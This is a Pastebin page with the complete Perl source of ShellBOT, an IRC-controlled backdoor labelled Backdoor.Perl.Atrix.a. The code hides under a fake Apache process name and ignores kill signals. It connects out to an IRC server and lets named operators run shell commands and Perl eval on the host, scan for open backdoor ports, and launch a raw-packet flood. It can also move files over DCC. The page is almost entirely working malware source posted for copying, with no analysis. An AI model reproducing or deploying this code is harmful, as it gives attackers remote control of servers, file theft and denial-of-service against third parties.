API tools faq
paste
Advertisement
FlyFar

Backdoor.Perl.Atrix.a - Source Code

FlyFar
Jun 16th, 2023
1,116
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 19.75 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. #
  2. #  ShellBOT - Atrix Team
  3. #
  4. #   0ldW0lf - oldwolf@atrix-team.org
  5. #           - www.atrix-team.org
  6. #           - www.atrix.cjb.net
  7. #
  8. # modificado por poerschke
  9. # irc.gigachat.net #spykids
  10. #
  11. ################ CONFIGURACAO #################################################################
  12. my $processo = "/hsphere/shared/apache/bin/httpd -DSSL"; # Nome do processo que vai aparece no ps       #
  13. #----------------------------------------------################################################
  14. my $linas_max="10";                             # Evita o flood :) depois de X linhas         #
  15. #----------------------------------------------################################################
  16. my $sleep="4";                                 # ele dorme X segundos                         #
  17. ##################### IRC #####################################################################
  18. @adms=("poerschke","_CaKe_");                       # Nick do administrador                        #
  19. #----------------------------------------------################################################
  20. my @canais=("#perl");                         # Caso haja senha ("#canal :senha")            #
  21. #----------------------------------------------################################################
  22. my $nick="spykids";                        # Nick do bot. Caso esteja em uso vai aparecer #
  23.                                                # aparecer com numero radonamico no final      #
  24. #----------------------------------------------################################################
  25. my $ircname = "rox";                     # User ID                                      #
  26. #----------------------------------------------################################################
  27. chop (my $realname = `uname -a`);              # Full Name                                    #
  28. #----------------------------------------------################################################
  29. $servidor="irc.gigachat.net" unless $servidor;  # Servidor de irc que vai ser usado            #
  30.                                                # caso não seja especificado no argumento      #
  31. #----------------------------------------------################################################
  32. my $porta="6667";                          # Porta do servidor de irc                     #
  33. ################ ACESSO A SHELL ###############################################################
  34. my $secv = 1;                                  # 1/0 pra habilita/desabilita acesso a shell   #
  35. ###############################################################################################
  36.  
  37. my $VERSAO = "0.2";
  38.  
  39. $SIG{"INT"} = "IGNORE";
  40. $SIG{"HUP"} = "IGNORE";
  41. $SIG{"TERM"} = "IGNORE";
  42. $SIG{"CHLD"} = "IGNORE";
  43. $SIG{"PS"} = "IGNORE";
  44.  
  45. use IO::Socket;
  46. use Socket;
  47. use IO::Select;
  48. chdir("/");
  49. $servidor="$ARGV[0]" if $ARGV[0];
  50. $0="$processo"."\0"x16;;
  51. my $pid=fork;
  52. exit if $pid;
  53. die "Problema com o fork: $!" unless defined($pid);
  54.  
  55.  
  56.  
  57. our %irc_servers;
  58. our %DCC;
  59. my $dcc_sel = new IO::Select->new();
  60.  
  61. #############################
  62. #  B0tchZ na veia ehehe :P  #
  63. #############################
  64.  
  65. $sel_cliente = IO::Select->new();
  66. sub sendraw {
  67.   if ($#_ == "1") {
  68.     my $socket = $_[0];
  69.     print $socket "$_[1]\n";
  70.   } else {
  71.       print $IRC_cur_socket "$_[0]\n";
  72.   }
  73. }
  74.  
  75. sub conectar {
  76.    my $meunick = $_[0];
  77.    my $servidor_con = $_[1];
  78.    my $porta_con = $_[2];
  79.  
  80.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  81.    if (defined($IRC_socket)) {
  82.      $IRC_cur_socket = $IRC_socket;
  83.  
  84.      $IRC_socket->autoflush(1);
  85.      $sel_cliente->add($IRC_socket);
  86.  
  87.      $irc_servers{$IRC_cur_socket}{"host"} = "$servidor_con";
  88.      $irc_servers{$IRC_cur_socket}{"porta"} = "$porta_con";
  89.      $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
  90.      $irc_servers{$IRC_cur_socket}{"meuip"} = $IRC_socket->sockhost;
  91.      nick("$meunick");
  92.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  93.      sleep 1;
  94.    }
  95.  
  96. }
  97. my $line_temp;
  98. while( 1 ) {
  99.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  100.    delete($irc_servers{""}) if (defined($irc_servers{""}));
  101.    &DCC::connections;
  102.    my @ready = $sel_cliente->can_read(0);
  103.    next unless(@ready);
  104.    foreach $fh (@ready) {
  105.      $IRC_cur_socket = $fh;
  106.      $meunick = $irc_servers{$IRC_cur_socket}{"nick"};
  107.      $nread = sysread($fh, $msg, 4096);
  108.      if ($nread == 0) {
  109.         $sel_cliente->remove($fh);
  110.         $fh->close;
  111.         delete($irc_servers{$fh});
  112.      }
  113.      @lines = split (/\n/, $msg);
  114.  
  115.      for(my $c=0; $c<= $#lines; $c++) {
  116.        $line = $lines[$c];
  117.        $line=$line_temp.$line if ($line_temp);
  118.        $line_temp="";
  119.        $line =~ s/\r$//;
  120.        unless ($c == $#lines) {
  121.          parse("$line");
  122.        } else {
  123.            if ($#lines == 0) {
  124.              parse("$line");
  125.            } elsif ($lines[$c] =~ /\r$/) {
  126.                parse("$line");
  127.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  128.                parse("$line");
  129.            } else {
  130.                $line_temp = $line;
  131.            }
  132.        }
  133.       }
  134.    }
  135. }
  136.  
  137.  
  138.  
  139. sub parse {
  140.    my $servarg = shift;
  141.    if ($servarg =~ /^PING \:(.*)/) {
  142.      sendraw("PONG :$1");
  143.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  144.        my $pn=$1; my $onde = $4; my $args = $5;
  145.        if ($args =~ /^\001VERSION\001$/) {
  146.          notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
  147.        }
  148.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  149.          if ($onde eq "$meunick"){
  150.            shell("$pn", "$args");
  151.          }
  152.          if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
  153.             my $natrix = $1;
  154.             my $arg = $2;
  155.             if ($arg =~ /^\!(.*)/) {
  156.               ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and $arg =~ /^\!nick/);
  157.             } elsif ($arg =~ /^\@(.*)/) {
  158.                 $ondep = $onde;
  159.                 $ondep = $pn if $onde eq $meunick;
  160.                 bfunc("$ondep","$1");
  161.             } else {
  162.                 shell("$onde", "$arg");
  163.             }
  164.          }
  165.        }
  166.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  167.        if (lc($1) eq lc($meunick)) {
  168.          $meunick=$4;
  169.          $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
  170.        }
  171.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  172.        nick("$meunick".int rand(9999));
  173.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  174.        $meunick = $2;
  175.        $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
  176.        $irc_servers{$IRC_cur_socket}{"nome"} = "$1";
  177.        foreach my $canal (@canais) {
  178.          sendraw("JOIN $canal");
  179.        }
  180.    }
  181. }
  182.  
  183. sub bfunc {
  184.   my $printl = $_[0];
  185.   my $funcarg = $_[1];
  186.   if (my $pid = fork) {
  187.      waitpid($pid, 0);
  188.   } else {
  189.       if (fork) {
  190.          exit;
  191.        } else {
  192.            if ($funcarg =~ /^portscan (.*)/) {
  193.              my $hostip="$1";
  194.              my @portas=( 44464, 4444, 14589, 666, 6666, 6968, 26092, 530, 46256, 31337,
  195.              2222, 3879, 30464, 40193, 36864, 33270, 36864, 40193, 30464,
  196.              8008, 1234, 6969, 7788, 1524, 10000, 12321, 43690, 3333,
  197.              9999, 8975, 16705, 2313, 21317, 36864, 13330, 58821, 6682, 5678,
  198.              45295, 65535, 26112, 7512, 24876, 9191, 5321, 50766, 1492, 12345,
  199.              12346, 6969, 6970, 12666, 1666, 80, 21, 23, 25, 110, 5252, 9988,
  200.              41254, 5074, 139, 44123);
  201.              my (@aberta, %porta_banner);
  202.              foreach my $porta (@portas)  {
  203.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => "tcp", Timeout => 4);
  204.                 if ($scansock) {
  205.                    push (@aberta, $porta);
  206.                    $scansock->close;
  207.                 }
  208.              }
  209.  
  210.              if (@aberta) {
  211.                sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
  212.              } else {
  213.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
  214.              }
  215.            }
  216.  
  217.  
  218.  
  219.  
  220.          if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
  221.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  222.              $dtime = 1 if $dtime == 0;
  223.              my %bytes;
  224.              $bytes{igmp} = $2 * $pacotes{igmp};
  225.              $bytes{icmp} = $2 * $pacotes{icmp};
  226.              $bytes{o} = $2 * $pacotes{o};
  227.              $bytes{udp} = $2 * $pacotes{udp};
  228.              $bytes{tcp} = $2 * $pacotes{tcp};
  229.            
  230.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  231.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  232.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  233.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  234.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  235.  
  236.  
  237.            }
  238.            exit;
  239.        }
  240.   }
  241. }
  242.  
  243. sub ircase {
  244.   my ($kem, $printl, $case) = @_;
  245.  
  246.   if ($case =~ /^entrar (.*)/) {
  247.      j("$1");
  248.    }
  249.    if ($case =~ /^part (.*)/) {
  250.       p("$1");
  251.    }
  252.    if ($case =~ /^rejoin\s+(.*)/) {
  253.       my $chan = $1;
  254.       if ($chan =~ /^(\d+) (.*)/) {
  255.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  256.           p("$2");
  257.           j("$2");
  258.         }
  259.       } else {
  260.           p("$chan");
  261.           j("$chan");
  262.       }
  263.    }
  264.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  265.       msg("$1", "$2");
  266.    }
  267.    
  268.    if ($case =~ /^nick (.*)/) {
  269.       nick("$1");
  270.    }
  271.    if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  272.        conectar("$2", "$1", 6667);
  273.    }
  274.    if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  275.       DCC::SEND("$1", "$2");
  276.    }
  277.    if ($case =~ /^raw (.*)/) {
  278.       sendraw("$1");
  279.    }
  280.    if ($case =~ /^eval (.*)/) {
  281.      eval "$1";
  282.    }
  283. }
  284. sub shell {
  285.   return unless $secv;
  286.   my $printl=$_[0];
  287.   my $comando=$_[1];
  288.   if ($comando =~ /cd (.*)/) {
  289.     chdir("$1") || msg("$printl", "Diertório inexistente!");
  290.     return;
  291.   }
  292.   elsif ($pid = fork) {
  293.      waitpid($pid, 0);
  294.   } else {
  295.       if (fork) {
  296.          exit;
  297.        } else {
  298.            my @resp=`$comando 2>&1 3>&1`;
  299.            my $c=0;
  300.            foreach my $linha (@resp) {
  301.              $c++;
  302.              chop $linha;
  303.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  304.              if ($c == "$linas_max") {
  305.                $c=0;
  306.                sleep $sleep;
  307.              }
  308.            }
  309.            exit;
  310.        }
  311.   }
  312. }
  313.  
  314. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  315. sub attacker {
  316.   my $iaddr = inet_aton($_[0]);
  317.   my $msg = "B" x $_[1];
  318.   my $ftime = $_[2];
  319.   my $cp = 0;
  320.   my (%pacotes);
  321.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  322.  
  323.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  324.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  325.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  326.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  327.   return(undef) if $cp == 4;
  328.   my $itime = time;
  329.   my ($cur_time);
  330.   while ( 1 ) {
  331.      for (my $porta = 1; $porta <= 65535; $porta++) {
  332.        $cur_time = time - $itime;
  333.        last if $cur_time >= $ftime;
  334.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  335.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  336.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  337.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  338.  
  339.        # DoS ?? :P
  340.        for (my $pc = 3; $pc <= 255;$pc++) {
  341.          next if $pc == 6;
  342.          $cur_time = time - $itime;
  343.          last if $cur_time >= $ftime;
  344.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  345.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
  346.        }
  347.      }
  348.      last if $cur_time >= $ftime;
  349.   }
  350.   return($cur_time, %pacotes);
  351. }
  352.  
  353.  
  354.  
  355. #############
  356. #  ALIASES  #
  357. #############
  358.  
  359. sub action {
  360.    return unless $#_ == 1;
  361.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  362. }
  363.  
  364. sub ctcp {
  365.    return unless $#_ == 1;
  366.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  367. }
  368. sub msg {
  369.    return unless $#_ == 1;
  370.    sendraw("PRIVMSG $_[0] :$_[1]");
  371. }  
  372.  
  373. sub notice {
  374.    return unless $#_ == 1;
  375.    sendraw("NOTICE $_[0] :$_[1]");
  376. }
  377.  
  378. sub op {
  379.    return unless $#_ == 1;
  380.    sendraw("MODE $_[0] +o $_[1]");
  381. }
  382. sub deop {
  383.    return unless $#_ == 1;
  384.    sendraw("MODE $_[0] -o $_[1]");
  385. }
  386. sub hop {
  387.     return unless $#_ == 1;
  388.    sendraw("MODE $_[0] +h $_[1]");
  389. }
  390. sub dehop {
  391.    return unless $#_ == 1;
  392.    sendraw("MODE $_[0] +h $_[1]");
  393. }
  394. sub voice {
  395.    return unless $#_ == 1;
  396.    sendraw("MODE $_[0] +v $_[1]");
  397. }
  398. sub devoice {
  399.    return unless $#_ == 1;
  400.    sendraw("MODE $_[0] -v $_[1]");
  401. }
  402. sub ban {
  403.    return unless $#_ == 1;
  404.    sendraw("MODE $_[0] +b $_[1]");
  405. }
  406. sub unban {
  407.    return unless $#_ == 1;
  408.    sendraw("MODE $_[0] -b $_[1]");
  409. }
  410. sub kick {
  411.    return unless $#_ == 1;
  412.    sendraw("KICK $_[0] $_[1] :$_[2]");
  413. }
  414.  
  415. sub modo {
  416.    return unless $#_ == 0;
  417.    sendraw("MODE $_[0] $_[1]");
  418. }
  419. sub mode { modo(@_); }
  420.  
  421. sub j { &entrar(@_); }
  422. sub entrar {
  423.    return unless $#_ == 0;
  424.    sendraw("JOIN $_[0]");
  425. }
  426. sub p { part(@_); }
  427. sub part {sendraw("PART $_[0]");}
  428.  
  429. sub nick {
  430.   return unless $#_ == 0;
  431.   sendraw("NICK $_[0]");
  432. }
  433.  
  434. sub invite {
  435.    return unless $#_ == 1;
  436.    sendraw("INVITE $_[1] $_[0]");
  437. }
  438. sub topico {
  439.    return unless $#_ == 1;
  440.    sendraw("TOPIC $_[0] $_[1]");
  441. }
  442. sub topic { topico(@_); }
  443.  
  444. sub whois {
  445.   return unless $#_ == 0;
  446.   sendraw("WHOIS $_[0]");
  447. }
  448. sub who {
  449.   return unless $#_ == 0;
  450.   sendraw("WHO $_[0]");
  451. }
  452. sub names {
  453.   return unless $#_ == 0;
  454.   sendraw("NAMES $_[0]");
  455. }
  456. sub away {
  457.   sendraw("AWAY $_[0]");
  458. }
  459. sub back { away(); }
  460. sub quit {
  461.   sendraw("QUIT :$_[0]");
  462. }
  463.  
  464.  
  465.  
  466. # DCC
  467. package DCC;
  468.  
  469. sub connections {
  470.    my @ready = $dcc_sel->can_read(1);
  471. #   return unless (@ready);
  472.    foreach my $fh (@ready) {
  473.      my $dcctipo = $DCC{$fh}{tipo};
  474.      my $arquivo = $DCC{$fh}{arquivo};
  475.      my $bytes = $DCC{$fh}{bytes};
  476.      my $cur_byte = $DCC{$fh}{curbyte};
  477.      my $nick = $DCC{$fh}{nick};
  478.  
  479.      my $msg;
  480.      my $nread = sysread($fh, $msg, 10240);
  481.  
  482.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  483.         $DCC{$fh}{status} = "Cancelado";
  484.         $DCC{$fh}{ftime} = time;
  485.         $dcc_sel->remove($fh);
  486.         $fh->close;
  487.         next;
  488.      }
  489.  
  490.      if ($dcctipo eq "get") {
  491.         $DCC{$fh}{curbyte} += length($msg);
  492.  
  493.         my $cur_byte = $DCC{$fh}{curbyte};
  494.  
  495.         open(FILE, ">> $arquivo");
  496.         print FILE "$msg" if ($cur_byte <= $bytes);
  497.         close(FILE);
  498.  
  499.         my $packbyte = pack("N", $cur_byte);
  500.         print $fh "$packbyte";
  501.  
  502.         if ($bytes == $cur_byte) {
  503.            $dcc_sel->remove($fh);
  504.            $fh->close;
  505.            $DCC{$fh}{status} = "Recebido";
  506.            $DCC{$fh}{ftime} = time;
  507.            next;
  508.         }
  509.      } elsif ($dcctipo eq "send") {
  510.           my $send = $fh->accept;
  511.           $send->autoflush(1);
  512.           $dcc_sel->add($send);
  513.           $dcc_sel->remove($fh);
  514.           $DCC{$send}{tipo} = "sendcon";
  515.           $DCC{$send}{itime} = time;
  516.           $DCC{$send}{nick} = $nick;
  517.           $DCC{$send}{bytes} = $bytes;
  518.           $DCC{$send}{curbyte} = 0;
  519.           $DCC{$send}{arquivo} = $arquivo;
  520.           $DCC{$send}{ip} = $send->peerhost;
  521.           $DCC{$send}{porta} = $send->peerport;
  522.           $DCC{$send}{status} = "Enviando";
  523.  
  524.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  525.           open(FILE, "< $arquivo");
  526.           my $fbytes;
  527.           read(FILE, $fbytes, 1024);
  528.           print $send "$fbytes";
  529.           close FILE;
  530. #          delete($DCC{$fh});
  531.      } elsif ($dcctipo eq "sendcon") {
  532.           my $bytes_sended = unpack("N", $msg);
  533.           $DCC{$fh}{curbyte} = $bytes_sended;
  534.           if ($bytes_sended == $bytes) {
  535.              $fh->close;
  536.              $dcc_sel->remove($fh);
  537.              $DCC{$fh}{status} = "Enviado";
  538.              $DCC{$fh}{ftime} = time;
  539.              next;
  540.           }
  541.           open(SENDFILE, "< $arquivo");
  542.           seek(SENDFILE, $bytes_sended, 0);
  543.           my $send_bytes;
  544.           read(SENDFILE, $send_bytes, 1024);
  545.           print $fh "$send_bytes";
  546.           close(SENDFILE);
  547.      }
  548.    }
  549. }
  550.  
  551.  
  552. sub SEND {
  553.   my ($nick, $arquivo) = @_;
  554.   unless (-r "$arquivo") {
  555.     return(0);
  556.   }
  557.  
  558.   my $dccark = $arquivo;
  559.   $dccark =~ s/[.*\/](\S+)/$1/;
  560.  
  561.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{"meuip"};
  562.   my $longip = unpack("N",inet_aton($meuip));
  563.  
  564.   my @filestat = stat($arquivo);
  565.   my $size_total=$filestat[7];
  566.   if ($size_total == 0) {
  567.      return(0);
  568.   }
  569.  
  570.   my ($porta, $sendsock);
  571.   do {
  572.     $porta = int rand(64511);
  573.     $porta += 1024;
  574.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => "tcp") and $dcc_sel->add($sendsock);
  575.   } until $sendsock;
  576.  
  577.   $DCC{$sendsock}{tipo} = "send";
  578.   $DCC{$sendsock}{nick} = $nick;
  579.   $DCC{$sendsock}{bytes} = $size_total;
  580.   $DCC{$sendsock}{arquivo} = $arquivo;
  581.  
  582.  
  583.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  584.  
  585. }
  586.  
  587. sub GET {
  588.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  589.   return(0) if (-e "$arquivo");
  590.   if (open(FILE, "> $arquivo")) {
  591.      close FILE;
  592.   } else {
  593.     return(0);
  594.   }
  595.  
  596.   my $dccip=fixaddr($dcclongip);
  597.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  598.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  599.   $dccsock->autoflush(1);
  600.   $dcc_sel->add($dccsock);
  601.   $DCC{$dccsock}{tipo} = "get";
  602.   $DCC{$dccsock}{itime} = time;
  603.   $DCC{$dccsock}{nick} = $nick;
  604.   $DCC{$dccsock}{bytes} = $bytes;
  605.   $DCC{$dccsock}{curbyte} = 0;
  606.   $DCC{$dccsock}{arquivo} = $arquivo;
  607.   $DCC{$dccsock}{ip} = $dccip;
  608.   $DCC{$dccsock}{porta} = $dccporta;
  609.   $DCC{$dccsock}{status} = "Recebendo";
  610. }
  611.  
  612. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  613. sub Status {
  614.   my $socket = shift;
  615.   my $sock_tipo = $DCC{$socket}{tipo};
  616.   unless (lc($sock_tipo) eq "chat") {
  617.     my $nick = $DCC{$socket}{nick};
  618.     my $arquivo = $DCC{$socket}{arquivo};
  619.     my $itime = $DCC{$socket}{itime};
  620.     my $ftime = time;
  621.     my $status = $DCC{$socket}{status};
  622.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  623.  
  624.     my $d_time = $ftime-$itime;
  625.  
  626.     my $cur_byte = $DCC{$socket}{curbyte};
  627.     my $bytes_total =  $DCC{$socket}{bytes};
  628.  
  629.     my $rate = 0;
  630.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  631.     my $porcen = ($cur_byte*100)/$bytes_total;
  632.  
  633.     my ($r_duv, $p_duv);
  634.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  635.        $r_duv = $3; $r_duv++ if $4 >= 5;
  636.        $rate = "$1\.$2"."$r_duv";
  637.     }
  638.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  639.        $p_duv = $3; $p_duv++ if $4 >= 5;
  640.        $porcen = "$1\.$2"."$p_duv";
  641.     }
  642.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  643.   }
  644.  
  645.  
  646.   return(0);
  647. }
  648.  
  649.  
  650. # esse "sub fixaddr" daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  651. sub fixaddr {
  652.     my ($address) = @_;
  653.  
  654.     chomp $address;     # just in case, sigh.
  655.     if ($address =~ /^\d+$/) {
  656.         return inet_ntoa(pack "N", $address);
  657.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  658.         return $address;
  659.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  660.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  661.     } else {
  662.         return;
  663.     }
  664.  
  665. }
Tags: Backdoor perl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!